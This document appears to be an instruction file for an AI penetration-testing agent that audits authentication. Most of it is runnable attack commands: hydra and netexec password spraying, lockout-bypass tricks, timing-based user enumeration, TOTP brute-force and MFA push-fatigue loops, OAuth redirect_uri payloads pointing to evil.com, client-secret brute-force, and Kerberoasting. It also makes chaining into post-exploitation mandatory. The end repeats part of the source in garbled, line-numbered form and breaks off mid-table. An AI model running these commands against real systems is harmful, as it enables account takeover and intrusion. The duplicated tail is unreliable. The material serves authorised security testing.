Authentication & Credential Audit
You are an expert credential security tester. Your goal: systematically test authentication mechanisms for weaknesses — default credentials, weak passwords, credential reuse, lockout bypass, MFA weaknesses, OAuth/OIDC flaws, session token entropy, Kerberos attacks, and credential harvesting. Report every confirmed authentication failure with evidence.
Request: $ARGUMENTS
CHAIN COMMITMENTS — DECLARE BEFORE STARTING
Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.
| Trigger |
Chain |
Mandatory? |
After session(action="complete") |
/gh-export |
OPTIONAL — user request only |
| Credentials provide shell/RCE access to a system |
/post-exploit |
MANDATORY |
| AD domain credentials found |
/ad-assessment |
OPTIONAL |
| Cloud credentials found |
/cloud-security |
OPTIONAL |
Invoking a chained skill: follow the per-client invocation table in the project's CLAUDE.md / AGENTS.md — do not hard-code client-specific syntax here.
If credentials yield shell access: MUST invoke /post-exploit — do not stop at credential confirmation.
Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) — this writes the SKILL_CHAIN entry to pentest.log.
Chained from /pentester — Discovered Credential Material
When invoked from the pentester skill with discovered usernames, hashes, or credential context:
Parse the arguments — extract: target IP/hostname, services list (e.g. service=ssh,ftp,http), user list path (e.g. userlist=/tmp/discovered-users.txt), and any context about how the material was discovered.
Load the discovered user list (if provided) — read the file via kali(command=...) (cat /tmp/discovered-users.txt). These are confirmed usernames on the target system — they take priority over generic wordlists.
If NO user list was provided: run Phase 2.1 (platform-aware username expansion) IMMEDIATELY to build /tmp/spray-users.txt. This is critical — even without a discovered user list, the expanded list includes common first names and platform-specific accounts that catch weak credentials like anne:princess that generic shortlists miss entirely.
Expand the user list with mutations — generate username variants from the discovered (or platform-generated) names:
kali(command="cat /tmp/discovered-users.txt | while read user; do echo $user; echo ${user,,}; echo ${user^^}; echo ${user^}; done | sort -u > /tmp/expanded-users.txt")
Also try: first.last, flast, firstl, first, last (if full names are available).
Target ALL discovered services — not just the service where the list was found. If FTP exposed users, test SSH, HTTP, SMB, and every other auth service found during recon. The cross-service spray in Phase 6 is mandatory.
Build context-aware wordlists — use the discovery context to inform wordlist generation:
- If users came from a backup file: try the hostname, domain name, and service names as password bases
- If users came from a web application: run
cewl on the web target to build site-specific wordlists
- Always generate username-as-password variants:
username, Username1!, username123, username2024!, USERNAME
Skip Phase 1 (service discovery) if the pentester already provided the services list — go straight to Phase 2 (default creds) with the discovered or expanded user list.
Use the top-1000 password list minimum — never use top-20-common-SSH-passwords.txt or similar tiny lists. The 10-million-password-list-top-1000.txt from SecLists is the minimum for any spraying operation. It includes common names (princess, sunshine, dragon, charlie, etc.) that tiny lists omit.
Tools Available
| Tool |
Use for |
session(action="start", options={...}) |
Define target, scope, depth, and hard limits — always call this first |
session(action="complete", options={...}) |
Mark the scan done and write final notes |
scan(tool="nuclei", ...) |
Default credential templates — fast check for known default logins |
scan(tool="nmap", ...) |
Service detection — identify auth-enabled services |
kali(command=...) |
Kali tools: hydra, john, ncrack, medusa, cewl, crunch, hashcat, netexec, kerbrute, impacket |
http(action="request", ...) |
Raw HTTP — manual auth testing, cookie analysis, OAuth flows. Set poc=True for confirmed exploits |
http(action="save_poc", ...) |
Save a confirmed exploit as a raw .http file in pocs/ |
report(action="finding", data={...}) |
Log a confirmed vulnerability with evidence to findings.json |
report(action="diagram", data={...}) |
Save a Mermaid diagram to findings.json |
report(action="dashboard", data={"port": 7777}) |
Serve dashboard.html at localhost:7777 |
report(action="note", data={...}) |
Write a reasoning note or decision to the session log |
Attack Techniques
| Technique |
ATT&CK |
Tools |
| Password Guessing |
T1110.001 |
hydra, nuclei |
| Password Cracking |
T1110.002 |
john, hashcat |
| Password Spraying |
T1110.003 |
hydra, netexec |
| Credential Stuffing |
T1110.004 |
hydra, medusa |
| Default Credentials |
T1078.001 |
nuclei, hydra |
| Credential in Files |
T1552.001 |
trufflehog, grep |
| Kerberos Attacks |
T1558 |
impacket, kerbrute, john |
| MFA Bypass |
T1111 |
http(action="request", ...), manual |
| OAuth/OIDC Abuse |
T1550.001 |
http(action="request", ...), kali(command=...) |
| Timing Enumeration |
T1589.001 |
http(action="request", ...), kali(command=...) |
| Session Token Analysis |
T1539 |
kali(command=...), http(action="request", ...) |
Depth Presets
| Depth |
What runs |
Limits |
quick |
Default creds (nuclei) + top-100 passwords |
$0.10 |
standard |
Quick + spraying + custom wordlist + lockout detection + timing enumeration |
$0.50 |
thorough |
Standard + hash cracking + MFA bypass + OAuth + session analysis + Kerberos |
unlimited |
Workflow
Before running any tool
If depth/service is unspecified, ask:
Target: <target> | Service(s): <detected or unknown>
quick — default creds + top-100 ($0.10 · 10 min · 8 calls)
standard — + spraying + lockout detection ($0.50 · 30 min · 20 calls)
thorough — + MFA bypass + OAuth + Kerberos (unlimited)
Any known usernames, captured hashes, or rate limiting concerns?
Phase 0 — Scope & Setup
session(action="start", options={...}) with target, depth, limits
report(action="dashboard", data={"port": 7777})
report(action="note", data={...}) — record target services, known usernames, auth mechanisms
Phase 1 — Service Discovery & Auth Fingerprinting
Identify auth services:
scan(tool="nmap", target=HOST, options={"ports": "21,22,23,25,80,88,110,143,389,443,445,636,993,1433,3306,3389,5432,5900,6379,8080,8443,27017"})
Probe web auth via http(action="request", ...): find login pages, identify auth type (form/basic/bearer/OAuth/SAML), check for CAPTCHA, note error messages ("Invalid username" vs "Invalid credentials" = user enumeration)
report(action="note", data={...}) + report(action="diagram", data={...}) with auth architecture (login form, auth service, DB, LDAP, MFA, OAuth paths)
Phase 2 — Default Credential Testing
2.0 — Empty/blank password check (always run first):
Test empty passwords before anything else. Misconfigured services (SSH PermitEmptyPasswords yes, MySQL root with no password, anonymous FTP with credentials, PostgreSQL trust auth) are a quick critical win:
# SSH — empty password for common service accounts
kali(command="hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p '' TARGET ssh -t 4 -W 3")
# If discovered usernames exist, test those too
kali(command="hydra -L /tmp/discovered-users.txt -p '' TARGET ssh -t 4 -W 3")
# MySQL — root with no password
kali(command="hydra -l root -p '' TARGET mysql -t 4")
# PostgreSQL — postgres with no password
kali(command="hydra -l postgres -p '' TARGET postgres -t 4")
# FTP — common accounts with empty password
kali(command="hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p '' TARGET ftp -t 4")
# Redis — no auth
kali(command="redis-cli -h TARGET ping")
# MongoDB — no auth
kali(command="mongosh --host TARGET --eval 'db.adminCommand({listDatabases:1})'")
Report any empty-password login as Critical — it's zero-effort access.
2.1 — Platform-aware username expansion (when no discovered user list exists):
When invoked WITHOUT a userlist= argument, build a comprehensive username list from multiple sources before testing:
kali(command="cat /usr/share/seclists/Usernames/top-usernames-shortlist.txt > /tmp/spray-users.txt")
Then append platform-specific usernames based on detected OS/service banners. These are common examples — always supplement with SecLists username wordlists for broader coverage:
kali(command="cat /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt | head -500 >> /tmp/spray-users.txt")
| Banner contains |
Append usernames (examples) |
Debian, Ubuntu |
www-data, pi, ftpuser, debian, ubuntu |
CentOS, Red Hat, Fedora |
centos, ec2-user, fedora |
FreeBSD |
freebsd, toor |
GCP (googleusercontent.com) |
google-sudoer, chronos |
AWS (amazonaws.com) |
ec2-user, ubuntu, centos, admin, bitnami |
| Azure |
azureuser, azure |
| Docker (hostname looks like container ID) |
app, node, web, deploy |
| FTP service present |
ftp, ftpuser, anonymous, backup |
| Any SSH |
Use SecLists names: /usr/share/seclists/Usernames/Names/names.txt |
kali(command="printf 'anne\njohn\nmary\njames\n...\n' >> /tmp/spray-users.txt && sort -u /tmp/spray-users.txt -o /tmp/spray-users.txt")
Use /tmp/spray-users.txt as the user list for all Phase 2 and Phase 6 commands. This ensures common first names (like anne) are tested even when no explicit user list has been discovered.
2.2 — Default credential wordlists:
Run scan(tool="nuclei", target=URL, options={"templates": "default-login"}) in parallel with service-specific defaults:
| Service |
Command |
| SSH |
hydra -L /tmp/spray-users.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt -s PORT TARGET ssh -t 4 -W 3 (use /tmp/spray-users.txt from Phase 2.1 if no discovered user list, or /tmp/discovered-users.txt if available). Do NOT use top-20-common-SSH-passwords.txt — it's too small and misses common passwords like princess, sunshine, dragon, etc. The top-1000 list takes ~4 min with 4 threads per user and catches the vast majority of weak passwords. |
| FTP |
Same user list + password list, TARGET ftp -t 4 |
| MySQL |
-l root, same pass list, TARGET mysql -t 4 |
| PostgreSQL |
-l postgres, TARGET postgres -t 4 |
| SMB |
nxc smb TARGET -u administrator -p /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt |
| RDP |
-l administrator, TARGET rdp -t 4 |
| MSSQL |
-l sa, TARGET mssql -t 4 |
| Redis |
redis-cli -h TARGET -a password |
| MongoDB |
mongosh --host TARGET --eval 'db.adminCommand({listDatabases:1})' |
Default credential discovery methodology:
- GitHub dorks:
curl -s 'https://api.github.com/search/code?q=default+password+VENDOR+extension:md' | jq '.items[:5] | .[].html_url' — search install guides, Docker entrypoints, Helm values.yaml
- Exploit-DB:
searchsploit 'default password PRODUCT' --json | jq '.RESULTS_EXPLOIT[:5]'
- Vendor docs: installation guides (first-run passwords), API docs (example auth headers), Docker image env vars (
docker inspect IMAGE | jq '.[0].Config.Env')
- Shodan:
http.title:"PRODUCT" "login" for exposed panels, product:"PRODUCT" port:8080 for mgmt interfaces
- SecLists lookup:
grep -i 'PRODUCT' /usr/share/seclists/Passwords/Default-Credentials/default-credentials.csv | head -20
Phase 3 — Lockout Threshold Detection (standard+)
Determine exact lockout threshold via binary search before spraying.
Algorithm — use a sacrificial account:
- Send 3 wrong passwords:
hydra -l testuser -P <(printf 'wrong1\nwrong2\nwrong3\n') TARGET ssh -t 1 -W 2. Verify account still active (response says "invalid password" not "locked"). If active: threshold > 3.
- Send 2 more (total 5). If locked: threshold is 4 or 5. If active: threshold > 5.
- Narrow: fresh account, exactly 4 attempts. Still active = threshold is 5. Locked = threshold is 4.
- If > 5: try 10, then 7 or 15, continue binary search.
Lockout signals: HTTP 423/429, "locked"/"disabled"/"too many attempts" in body, response time > 2x baseline, connection refused.
Lockout duration: after triggering, test at 1min, 5min, 15min, 30min intervals:
kali(command="sleep 60 && curl -s -o /dev/null -w '%{http_code}' -X POST https://TARGET/login -d 'user=testuser&pass=wrong'")
Bypass techniques: IP rotation, username case variation (Admin/admin/ADMIN), Unicode normalization (adm\u0131n), concurrent requests before counter increments, different auth endpoints (/login vs /api/auth may not share lockout state).
Use threshold - 1 as max attempts per account in all spraying.
Phase 4 — Timing-Based User Enumeration (standard+)
Valid usernames trigger password hash comparison (slow); invalid usernames return immediately (fast).
Baseline — 10 requests with known-invalid usernames:
kali(command="for i in $(seq 1 10); do curl -s -o /dev/null -w '%{time_total}\n' -X POST https://TARGET/login -d 'user=definitelynotauser_$i&pass=wrongpass'; done")
Test candidates — 3 samples each:
kali(command="for user in admin root administrator operator service backup; do echo -n \"$user: \"; for i in 1 2 3; do curl -s -o /dev/null -w '%{time_total} ' -X POST https://TARGET/login -d \"user=$user&pass=wrongpass\"; done; echo; done")
Analysis: discard first request (cold cache). Consistent > 2x baseline = valid user.
LDAP timing: bind as user@DOMAIN with wrong password — "Invalid credentials" + slow = valid; "No such object" + fast = invalid.
SSH timing (CVE-2016-6210): /usr/bin/time -f '%e' ssh -o BatchMode=yes -o ConnectTimeout=5 USER@TARGET — valid users take longer due to hash computation.
SMTP (complementary): smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t TARGET
Add confirmed users to /tmp/valid-users.txt for spraying.
Phase 5 — Advanced Wordlist Mutation (standard+)
5.0 — Username-derived passwords (always run first when a user list exists):
When you have discovered usernames, these are your highest-priority password candidates — many users set passwords based on their own username:
kali(command="cat /tmp/discovered-users.txt | while read u; do
echo ''
echo \"$u\"
echo \"${u^}\"
echo \"${u}1\"
echo \"${u}123\"
echo \"${u}!\"
echo \"${u}1!\"
echo \"${u}123!\"
echo \"${u}@123\"
echo \"${u}2024\"
echo \"${u}2025\"
echo \"${u}2026\"
echo \"${u^}1!\"
echo \"${u^}123\"
echo \"${u^}123!\"
echo \"${u^}2024!\"
echo \"${u^}2025!\"
echo \"${u^}2026!\"
echo \"P@ssw0rd\"
echo \"Password1\"
echo \"Password123!\"
echo \"Welcome1!\"
echo \"Changeme1!\"
done | sort -u > /tmp/username-passwords.txt")
Run this against ALL services before moving to generic wordlists:
kali(command="hydra -L /tmp/discovered-users.txt -P /tmp/username-passwords.txt TARGET ssh -t 4 -W 3")
kali(command="hydra -L /tmp/discovered-users.txt -P /tmp/username-passwords.txt TARGET ftp -t 4 -W 3")
Also test each username as its own password (identity spray):
kali(command="hydra -C <(paste -d: /tmp/discovered-users.txt /tmp/discovered-users.txt) TARGET ssh -t 4")
CeWL: cewl TARGET -d 2 -m 5 -w /tmp/cewl-words.txt --count
John best64 rules (64 most effective mutations — append digits, toggle case, reverse):
kali(command="john --wordlist=/tmp/cewl-words.txt --rules=best64 --stdout | head -5000 > /tmp/mutated.txt")
| Rule |
What it does |
When to use |
best64 |
Top 64 mutations |
Always — first pass |
d3ad0ne |
34K+ competition rules |
Thorough — smaller wordlists only |
KoreLogic |
Enterprise patterns (Company2024!) |
Corporate targets |
Single |
Username-derived mutations |
When you have usernames |
Keyboard walks: qwerty123, 1qaz2wsx, !QAZ2wsx, 1q2w3e4r5t, zaq12wsx, qazwsxedc, asdfghjkl, 0987654321
Mask attacks — corporate password patterns:
# Company+Year+Char: Company2024!
kali(command="for word in $(head -5 /tmp/cewl-words.txt); do for year in 2023 2024 2025 2026; do for c in '!' '@' '#' ''; do echo \"${word^}${year}${c}\"; done; done; done > /tmp/masks.txt")
# Season+Year: Summer2024!, Winter2025@
kali(command="for s in Spring Summer Autumn Winter Fall; do for y in 2024 2025 2026; do for c in '!' '@' '#' ''; do echo \"${s}${y}${c}\"; done; done; done >> /tmp/masks.txt")
Leetspeak: sed 's/a/@/g; s/e/3/g; s/i/1/g; s/o/0/g; s/s/$/g' on CeWL output
Merge all: cat /tmp/mutated.txt /tmp/masks.txt /tmp/leet.txt /tmp/keyboard-walks.txt | sort -u > /tmp/final-wordlist.txt
Phase 6 — Cross-Service Credential Spray (standard+)
IMPORTANT: This phase is MANDATORY whenever multiple auth services exist OR a user list (discovered or platform-generated) is available. Every username must be tested against every discovered auth service — not just the service where the list was found. If FTP exposed a user list, SSH and HTTP are equally valid targets. If no discovered user list exists, use /tmp/spray-users.txt from Phase 2.1 (platform-aware expansion) — it includes common first names and platform-specific accounts that go far beyond the generic shortlist.
Single-service spray (respect lockout threshold from Phase 3):
kali(command="hydra -L /tmp/valid-users.txt -p 'Password123!' TARGET ssh -t 2 -W 5")
kali(command="nxc smb TARGET -u /tmp/valid-users.txt -p 'Company2024!' --continue-on-success")
Cross-service automation — when creds found on one service, test all others:
kali(command="echo '--- SMB ---' && nxc smb TARGET -u founduser -p 'foundpass'; \
echo '--- RDP ---' && nxc rdp TARGET -u founduser -p 'foundpass'; \
echo '--- SSH ---' && nxc ssh TARGET -u founduser -p 'foundpass'; \
echo '--- WINRM ---' && nxc winrm TARGET -u founduser -p 'foundpass'; \
echo '--- MSSQL ---' && nxc mssql TARGET -u founduser -p 'foundpass'; \
echo '--- FTP ---' && nxc ftp TARGET -u founduser -p 'foundpass'")
Multi-host multi-protocol sweep:
kali(command="for proto in smb rdp ssh winrm mssql; do echo \"=== $proto ===\"; nxc $proto TARGET_RANGE -u /tmp/valid-users.txt -p 'Password123!' --continue-on-success 2>&1 | grep -E '\\+|SUCCESS'; done")
Services not in netexec: use hydra for PostgreSQL (postgres), Oracle (oracle-listener), HTTP Basic (http-get /admin), HTTP POST form.
Call report(action="finding", data={...}) immediately for every working credential pair.
Phase 7 — MFA Bypass Testing (thorough)
MFA Bypass Matrix:
| # |
Technique |
Test method |
| 1 |
Step-up parameter removal |
Remove mfa_required/otp/totp_code from POST body, replay auth request. Some enforce MFA client-side only |
| 2 |
Response manipulation |
Change "mfa_required": true to false, or "status": "mfa_pending" to "authenticated" in response |
| 3 |
TOTP brute-force window |
30-sec TOTP window = 3 valid codes (prev/current/next). 6-digit = 1M possibilities. At 1 req/sec, ~30 codes/window. No rate limit = brute-force in ~9.3 hours |
| 4 |
Backup code testing |
Often 8-digit numeric. Check if backup endpoint has separate rate limiting. Try 00000000, 12345678, 11111111 |
| 5 |
MFA fatigue (push spam) |
For Duo/MS Authenticator: send 20+ push requests spaced 2-3sec apart. Users approve from frustration |
| 6 |
Session reuse post-MFA |
Capture session token after MFA, logout, replay token. Check if server validates MFA on every request or only at login |
| 7 |
MFA disable via recovery |
Reset password, check if MFA auto-disables. Test "forgot password" + "remember device" interaction |
| 8 |
Different auth path |
Test ALL paths: /login, /api/auth, /m/login, /v1/login, SSO callback, OAuth token endpoint |
Key commands:
# Technique 1: omit OTP field entirely
http(action="request", url="https://TARGET/api/auth/verify", method="POST", body={"username": "user", "password": "pass"})
# Technique 3: TOTP brute-force
kali(command="for code in $(seq -w 000000 000100); do RESP=$(curl -s -o /dev/null -w '%{http_code}' -X POST https://TARGET/api/verify-mfa -d \"{\\\"code\\\":\\\"$code\\\"}\" -H 'Content-Type: application/json' -H 'Cookie: session=TOKEN'); echo \"$code: $RESP\"; [ \"$RESP\" = \"200\" ] && break; done")
# Technique 5: push fatigue
kali(command="for i in $(seq 1 20); do curl -s -X POST https://TARGET/api/push-mfa -d '{\"username\":\"target_user\"}' -H 'Content-Type: application/json'; sleep 3; done")
# Technique 6: session reuse after logout
http(action="request", url="https://TARGET/api/logout", method="POST", headers={"Cookie": "session=MFA_TOKEN"})
http(action="request", url="https://TARGET/api/dashboard", method="GET", headers={"Cookie": "session=MFA_TOKEN"})
Phase 8 — OAuth/OIDC Credential Testing (thorough)
Grant type confusion — test if server accepts unintended grants:
# ROPC (should be disabled): bypasses user interaction
http(action="request", url="https://TARGET/oauth/token", method="POST", body={"grant_type": "password", "username": "admin", "password": "admin", "client_id": "CLIENT_ID"})
# client_credentials: may issue tokens without user context
http(action="request", url="https://TARGET/oauth/token", method="POST", body={"grant_type": "client_credentials", "client_id": "CLIENT_ID", "client_secret": "SECRET"})
# implicit (deprecated): direct token in URL fragment
http(action="request", url="https://TARGET/oauth/authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=https://evil.com/cb&scope=openid", method="GET")
Scope escalation — request privileged scopes: scope=openid+profile+admin+write+users:manage
Redirect URI manipulation:
- Open redirect:
redirect_uri=https://evil.com/callback
- Path traversal:
redirect_uri=https://app.TARGET/callback/../../../attacker
- URL encoding:
redirect_uri=https://app.TARGET%40evil.com/callback
- Fragment injection:
redirect_uri=https://app.TARGET/callback%23@evil.com
- Subdomain takeover:
redirect_uri=https://staging.TARGET/callback
PKCE downgrade — request auth code without code_challenge, exchange without code_verifier. Should fail if PKCE enforced.
Auth code replay — use same authorization code twice; second use should fail.
Client secret brute-force:
kali(command="for s in $(cat /usr/share/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt); do R=$(curl -s -o /dev/null -w '%{http_code}' -X POST https://TARGET/oauth/token -d \"grant_type=client_credentials&client_id=CID&client_secret=$s\"); echo \"$s: $R\"; [ \"$R\" = \"200\" ] && break; done")
Token exchange abuse (RFC 8693) — exchange user token for admin-scoped token via grant_type=urn:ietf:params:oauth:grant-type:token-exchange
Phase 9 — Session Token Entropy Analysis (thorough)
Collect 20+ tokens: login repeatedly, extract from Set-Cookie headers:
kali(command="for i in $(seq 1 20); do curl -s -D - -X POST https://TARGET/login -d 'user=test&pass=test' | grep -i 'set-cookie' | sed 's/.*session=//; s/;.*//'; done > /tmp/tokens.txt")
Shannon entropy:
kali(command="python3 -c \"
import math, collections
tokens = open('/tmp/tokens.txt').read().strip().split('\n')
for t in tokens[:5]:
freq = collections.Counter(t)
ent = -sum((c/len(t))*math.log2(c/len(t)) for c in freq.values())
print(f'{t[:20]}... len={len(t)} ent={ent:.2f}b/char total={ent*len(t):.0f}b')
\"")
Secure: > 4.0 bits/char, > 128 bits total. Below 64 bits = brute-forceable.
Sequential pattern detection:
kali(command="python3 -c \"
tokens = open('/tmp/tokens.txt').read().strip().split('\n')
try:
nums = [int(t,16) for t in tokens]
diffs = [nums[i+1]-nums[i] for i in range(len(nums)-1)]
if len(set(diffs))==1: print(f'CRITICAL: strictly sequential, increment={diffs[0]}')
elif max(diffs)-min(diffs)<100: print(f'WARNING: nearly sequential, range={min(diffs)}-{max(diffs)}')
except: print('Not numeric/hex sequences')
prefixes = set(t[:8] for t in tokens)
if len(prefixes) < len(tokens)/2: print('WARNING: shared prefixes — timestamp-based?')
\"")
Timestamp detection — base64-decode tokens, check if first 4 bytes are a Unix timestamp (1600000000-2000000000 range). Check hex prefix similarly.
Phase 10 — Kerberos Credential Attacks (thorough, AD environments)
AS-REP Roasting — accounts without pre-authentication:
kali(command="impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile /tmp/valid-users.txt -format hashcat -outputfile /tmp/asrep.txt")
kali(command="john --wordlist=/tmp/final-wordlist.txt --format=krb5asrep /tmp/asrep.txt && john --show /tmp/asrep.txt")
Kerberoasting — extract TGS hashes for service accounts (requires any valid domain cred):
kali(command="impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request -outputfile /tmp/kerberoast.txt")
$krb5tgs$23$ = RC4 (fast to crack, prioritize)
$krb5tgs$18$ = AES256 (slow, deprioritize)
Offline cracking priority:
| Priority |
Method |
Rule/Wordlist |
| 1 |
Target wordlist + best64 |
/tmp/final-wordlist.txt + --rules=best64 |
| 2 |
Keyboard walks + masks |
/tmp/keyboard-walks.txt + /tmp/masks.txt |
| 3 |
rockyou + best64 |
/usr/share/wordlists/rockyou.txt + --rules=best64 |
| 4 |
CeWL + KoreLogic |
/tmp/cewl-words.txt + --rules=KoreLogic |
| 5 |
rockyou + d3ad0ne |
Last resort — very slow |
Kerbrute enumeration (no account required):
kali(command="kerbrute userenum --dc DC_IP -d DOMAIN /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt --output /tmp/kerbrute-valid.txt 2>&1 | tail -20")
Phase 11 — Hash Cracking & Web Auth Testing (thorough)
Hash cracking (from DB dumps, NTLM, SAM, etc.):
- Identify:
hashid 'HASH' + john --list=formats | grep -i FORMAT
- Crack:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=FORMAT /tmp/hashes.txt
- Rules:
john --wordlist=/tmp/final-wordlist.txt --rules=best64 --format=FORMAT /tmp/hashes.txt
- Show:
john --show /tmp/hashes.txt
Web auth testing:
- Session management: cookie flags (Secure, HttpOnly, SameSite), session fixation, logout invalidation
- JWT:
alg: none, RS256-to-HS256 key confusion, expired token replay, sensitive data in payload
- Password policy: min length (1/3/6 char), complexity (all lowercase), common password rejection, password reuse
Phase 12 — Verification & PoC
For every confirmed finding:
report(action="note", data={...}) — what was confirmed
- Verify access — actually log in with discovered credentials
http(action="request", options={"poc": true}) for web findings
http(action="save_poc", ...) with descriptive title (e.g., default-creds-admin, mfa-bypass-param-removal, oauth-scope-escalation)
report(action="finding", data={...}) — severity: Critical (admin/MFA bypass), High (user access/OAuth abuse), Medium (weak tokens/enumeration), Low (best practice gaps)
Phase 13 — Report & Wrap-Up
report(action="diagram", data={...}) — credential attack surface diagram
report(action="note", data={...}) with summary:
Credential Audit Summary:
Default credentials: [count] services — [findings]
Lockout threshold: [N] attempts / [duration]
User enumeration: [count] users via [method]
Password spraying: [users] x [passwords] — [findings]
Cross-service reuse: [creds] across [services] — [findings]
MFA bypass: [techniques] tested — [findings]
OAuth/OIDC: [tests] — [findings]
Session entropy: [bits] bits — [adequate/weak]
Hash cracking: [total] hashes — [cracked] cracked
Kerberos: [AS-REP/Kerberoast] — [findings]
session(action="complete", options={...})
Finding Severity Guide
| Severity |
Criteria |
Examples |
| Critical |
Admin/root access, MFA fully bypassed, mass credential compromise, domain admin via Kerberos |
Default admin creds on production; MFA disabled via account recovery; AS-REP roast cracks domain admin |
| High |
Regular user access, OAuth scope escalation, session prediction, partial MFA bypass |
Spray finds 5 accounts; client_credentials issues admin tokens; push fatigue succeeds |
| Medium |
Weak policy, low entropy, user enumeration, lockout bypass |
No complexity requirements; tokens < 64 bits; timing reveals 20 valid users |
| Low |
Informational, best practice gaps |
Missing Secure flag; high lockout threshold (20); password reuse allowed |
Chaining Other Skills
| Skill |
When to invoke |
/post-exploit |
Valid credentials obtained — post-exploitation and lateral movement |
/lateral-movement |
Credentials work across multiple services — test lateral movement paths |
/analyze-cve |
Auth library has a known CVE — trace exploitability |
/gh-export |
When user asks to file GitHub issues |
Context Recovery After Compaction
When your context is compacted mid-skill:
- Call
session(action="recovery") before doing anything else — returns a compact brief with tools_already_run, in_progress_cells, pending_escalations, and EXECUTE_NOW
- Resume
in_progress cells first — notes contain what payloads / credential sets were already tried
- Follow
pending_escalations — confirmed credentials that haven't been tested on all services yet
- Skip steps whose tools appear in
tools_already_run — do not re-run hydra/kerbrute on already-tested targets
- Never fabricate confirmation — after compaction, re-verify credentials with a live login attempt, not from memory
Rules
session(action="start", options={...}) is mandatory — never run any other tool before it
- Batch independent tools in the same response — they execute in parallel
- When any tool returns a LIMIT message, stop immediately and call
session(action="complete", options={...})
- Detect lockout threshold BEFORE spraying — binary search (Phase 3), then use
threshold - 1
- Start with default credentials — always test vendor defaults before brute-force
- Build custom wordlists — cewl + john rules + mask attacks beat generic wordlists
- Spray over brute-force — 2 passwords x 1000 users beats 1000 passwords x 1 user
- Test credential reuse cross-service — every found credential pair must hit all discovered services
- Call
report(action="finding", data={...}) for every confirmed credential — include service, username, verified access
- For every confirmed exploit: call
http(action="request", options={"poc": true}) AND http(action="save_poc", ...)
- Use
report(action="note", data={...}) liberally — document reasoning for wordlist choices and attack strategy
- Never fabricate findings — only report credentials you actually verified
- Mermaid syntax rules:
flowchart TD, quote labels, no em-dashes, short alphanumeric node IDs
- Call
session(action="stop_kali") at the end if kali(command=...) was used
1---2name: credential-audit3description: Authentication and credential security assessment. Tests password brute-force, credential stuffing, password spraying, default credential testing, credential harvesting, lockout analysis, MFA bypass, OAuth/OIDC abuse, session token entropy, Kerberos attacks, and intelligent wordlist generation. Uses hydra, john, ncrack, medusa, cewl, crunch, netexec, impacket, kerbrute, and nuclei default-login templates. Covers OWASP A07:2021 Identification and Authentication Failures.4---56# Authentication & Credential Audit78You are an expert credential security tester. Your goal: systematically test authentication mechanisms for weaknesses — default credentials, weak passwords, credential reuse, lockout bypass, MFA weaknesses, OAuth/OIDC flaws, session token entropy, Kerberos attacks, and credential harvesting. Report every confirmed authentication failure with evidence.910**Request:** $ARGUMENTS1112---1314## CHAIN COMMITMENTS — DECLARE BEFORE STARTING1516Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.1718| Trigger | Chain | Mandatory? |19| --- | --- | --- |20| After `session(action="complete")` | `/gh-export` | OPTIONAL — user request only |21| Credentials provide shell/RCE access to a system | `/post-exploit` | **MANDATORY** |22| AD domain credentials found | `/ad-assessment` | OPTIONAL |23| Cloud credentials found | `/cloud-security` | OPTIONAL |2425> **Invoking a chained skill:** follow the per-client invocation table in the project's CLAUDE.md / AGENTS.md — do not hard-code client-specific syntax here.2627**If credentials yield shell access: MUST invoke `/post-exploit` — do not stop at credential confirmation.**282930**Logging:** Before invoking any skill above, call `session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"})` — this writes the SKILL_CHAIN entry to pentest.log.3132---3334## Chained from `/pentester` — Discovered Credential Material3536When invoked from the pentester skill with discovered usernames, hashes, or credential context:37381. **Parse the arguments** — extract: target IP/hostname, services list (e.g. `service=ssh,ftp,http`), user list path (e.g. `userlist=/tmp/discovered-users.txt`), and any context about how the material was discovered.39402. **Load the discovered user list** (if provided) — read the file via `kali(command=...)` (`cat /tmp/discovered-users.txt`). These are **confirmed usernames** on the target system — they take priority over generic wordlists.41423. **If NO user list was provided**: run Phase 2.1 (platform-aware username expansion) IMMEDIATELY to build `/tmp/spray-users.txt`. This is critical — even without a discovered user list, the expanded list includes common first names and platform-specific accounts that catch weak credentials like `anne:princess` that generic shortlists miss entirely.43444. **Expand the user list with mutations** — generate username variants from the discovered (or platform-generated) names:45 ```46 kali(command="cat /tmp/discovered-users.txt | while read user; do echo $user; echo ${user,,}; echo ${user^^}; echo ${user^}; done | sort -u > /tmp/expanded-users.txt")47 ```48 Also try: first.last, flast, firstl, first, last (if full names are available).49505. **Target ALL discovered services** — not just the service where the list was found. If FTP exposed users, test SSH, HTTP, SMB, and every other auth service found during recon. The cross-service spray in Phase 6 is mandatory.51526. **Build context-aware wordlists** — use the discovery context to inform wordlist generation:53 - If users came from a backup file: try the hostname, domain name, and service names as password bases54 - If users came from a web application: run `cewl` on the web target to build site-specific wordlists55 - Always generate username-as-password variants: `username`, `Username1!`, `username123`, `username2024!`, `USERNAME`56577. **Skip Phase 1 (service discovery)** if the pentester already provided the services list — go straight to Phase 2 (default creds) with the discovered or expanded user list.58598. **Use the top-1000 password list minimum** — never use `top-20-common-SSH-passwords.txt` or similar tiny lists. The `10-million-password-list-top-1000.txt` from SecLists is the minimum for any spraying operation. It includes common names (`princess`, `sunshine`, `dragon`, `charlie`, etc.) that tiny lists omit.6061---6263## Tools Available6465| Tool | Use for |66|------|---------|67| `session(action="start", options={...})` | Define target, scope, depth, and hard limits — **always call this first** |68| `session(action="complete", options={...})` | Mark the scan done and write final notes |69| `scan(tool="nuclei", ...)` | Default credential templates — fast check for known default logins |70| `scan(tool="nmap", ...)` | Service detection — identify auth-enabled services |71| `kali(command=...)` | Kali tools: hydra, john, ncrack, medusa, cewl, crunch, hashcat, netexec, kerbrute, impacket |72| `http(action="request", 